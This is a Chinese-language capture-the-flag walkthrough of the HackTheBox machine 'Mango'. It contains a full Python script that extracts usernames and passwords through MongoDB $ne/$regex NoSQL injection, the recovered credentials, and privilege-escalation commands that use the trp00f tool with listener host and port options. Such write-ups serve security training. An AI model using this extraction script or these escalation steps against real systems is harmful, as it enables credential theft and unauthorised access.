信息收集
IP Address | Opening Ports |
---|---|
10.10.10.162 | TCP:22,80,443 |
$ nmap -p- 10.10.10.162 --min-rate 1000 -sC -sV
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a8:8f:d9:6f:a6:e4:ee:56:e3:ef:54:54:6d:56:0c:f5 (RSA)
| 256 6a:1c:ba:89:1e:b0:57:2f:fe:63:e1:61:72:89:b4:cf (ECDSA)
|_ 256 90:70:fb:6f:38:ae:dc:3b:0b:31:68:64:b0:4e:7d:c9 (ED25519)
80/tcp open http Apache httpd 2.4.29
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.29 (Ubuntu)
443/tcp open ssl/http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Mango | Search Base
| tls-alpn:
|_ http/1.1
| ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN
| Not valid before: 2019-09-27T14:21:19
|_Not valid after: 2020-09-26T14:21:19
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
MongoDB 注入
# echo '10.10.10.162 mango.htb staging-order.mango.htb'>>/etc/hosts
staging-order.mango.htb
注入引号不会返回错误或改变响应。由于网站运行的是 PHP,我们可以尝试通过类型转换绕过认证。这可以通过在请求参数中添加 [] 来实现,使 PHP 将这些参数作为数组处理。如果存在某种弱比较,这将绕过认证。
然而,这次尝试也失败了。接下来,我们可以尝试 NoSQL 注入攻击,比如 MongoDB 认证绕过。MongoDB 使用 $ne(不等于)运算符来比较值。这个运算符可以通过数组语法传递给 PHP,最终注入到 MongoDB 查询中。
示例:
db.users.find({ username: “admin”, password: “admin” });
注入payload为
db.users.find({ username: "admin", password: {$ne:"admin"} });
username=admin&password[$ne]=admin&login=login
重定向到home.php页面
由于首页没有返回任何有用的信息,我们可以尝试使用 MongoDB 的 $regex
运算符从数据库中提取数据。$regex
运算符允许通过正则表达式来查找数据。例如,以下查询将搜索匹配正则表达式 a.* 的用户名,这个正则表达式匹配任何包含字母 a 的用户名:
db.users.find({username: { $regex : "a.*", password: { $ne : "admin" } });
username[$regex]=a.*&password[$ne]=admin&login=login
username[$regex]=1.*&password[$ne]=admin&login=login
# exp.py
# @Maptnh
import re
from requests import post
from string import ascii_lowercase, ascii_uppercase, digits, punctuation
url = 'http://staging-order.mango.htb/'
class Colors:
HEADER = '\033[95m'
OKBLUE = '\033[94m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
def get_characters():
"""Identify potential username and password characters."""
charset = ascii_lowercase + ascii_uppercase + digits
found_chars = []
for char in charset:
response = post(url, data={
'username[$regex]': f'^{char}.*',
'password[$ne]': 'password',
'login': 'login'
}, allow_redirects=False)
if response.status_code == 302:
found_chars.append(char)
print(f"{Colors.OKGREEN}[+] Found character: {char}{Colors.ENDC}")
return found_chars
def build_usernames(chars):
"""Build usernames from identified characters."""
print(f"{Colors.WARNING}[*] Building usernames...{Colors.ENDC}")
charset = ascii_lowercase + ascii_uppercase + digits
usernames = []
for char in chars:
username = char
while True:
found_char = False
for next_char in charset:
regex = f'^{username + next_char}.*'
response = post(url, data={
'username[$regex]': regex,
'password[$ne]': 'password',
'login': 'login'
}, allow_redirects=False)
if response.status_code == 302:
username += next_char
found_char = True
print(f"{Colors.OKGREEN}[+] Found character '{next_char}' for username: {username}{Colors.ENDC}")
break
if not found_char:
break
usernames.append(username)
print(f"{Colors.OKGREEN}[+] Found username: {username}{Colors.ENDC}")
return usernames
def escape_special_characters(s):
"""Escape special characters in the string for regex."""
return re.escape(s)
def find_passwords(usernames):
"""Attempt to find passwords for each identified username."""
print(f"{Colors.WARNING}[*] Finding passwords for users...{Colors.ENDC}")
charset = ascii_lowercase + ascii_uppercase + digits + punctuation
results = []
for user in usernames:
password = ''
while True:
found_char = False
for char in charset:
escaped_password = escape_special_characters(password + char)
response = post(url, data={
'username': user,
'password[$regex]': f'^{escaped_password}.*',
'login': 'login'
}, allow_redirects=False)
if response.status_code == 302:
password += char
found_char = True
print(f"{Colors.OKGREEN}[+] Found character '{char}' for password: {password}{Colors.ENDC}")
break
if not found_char:
break
results.append((user, password))
print(f"{Colors.OKGREEN}[+] Password found for user {user}: {password}{Colors.ENDC}")
return results
def print_results(results):
"""Print the results in a table format."""
print(f"{Colors.HEADER}\n[+] Final results:{Colors.ENDC}")
print(f"{Colors.BOLD}{'Username':<20} {'Password':<20}{Colors.ENDC}")
print(f"{'='*40}")
for user, password in results:
print(f"{user:<20} {password:<20}")
if __name__ == '__main__':
chars = get_characters()
usernames = build_usernames(chars)
results = find_passwords(usernames)
print_results(results)
$ python3 exp.py
Username Password
========================================
admin t9KcS3>!0B#2
mango h3mXK8RhU~f{]f5H
$ ssh mango@mango.htb
$ su admin
User.txt
6fcde02686f818d7a13592d510c4867f
权限提升
JJS 权限提升 & TRP00F 权限提升
https://github.com/MartinxMax/trp00f
通过jjs权限提升
$ python3 trp00f.py --lhost 10.10.16.24 --lport 10011 --rhost 10.10.16.24 --rport 10035 --http 9999
[!] Do you want to exploit the vulnerability in file jjs? (y/n) >y
[!] Do you want to exploit the vulnerability in file ‘pkexec’ ? (y/n) >n
也可以通过TRP00F其他的权限提升插件来直接获取ROOT权限
$ python3 trp00f.py --lhost 10.10.16.24 --lport 10011 --rhost 10.10.16.24 --rport 10035 --http 9999
[!] Do you want to exploit the vulnerability in file jjs? (y/n) >n
[!] Do you want to exploit the vulnerability in file ‘pkexec’ ? (y/n) >y
Root.txt
110c3bcc1eb4a29e3da9c2e1d372c50d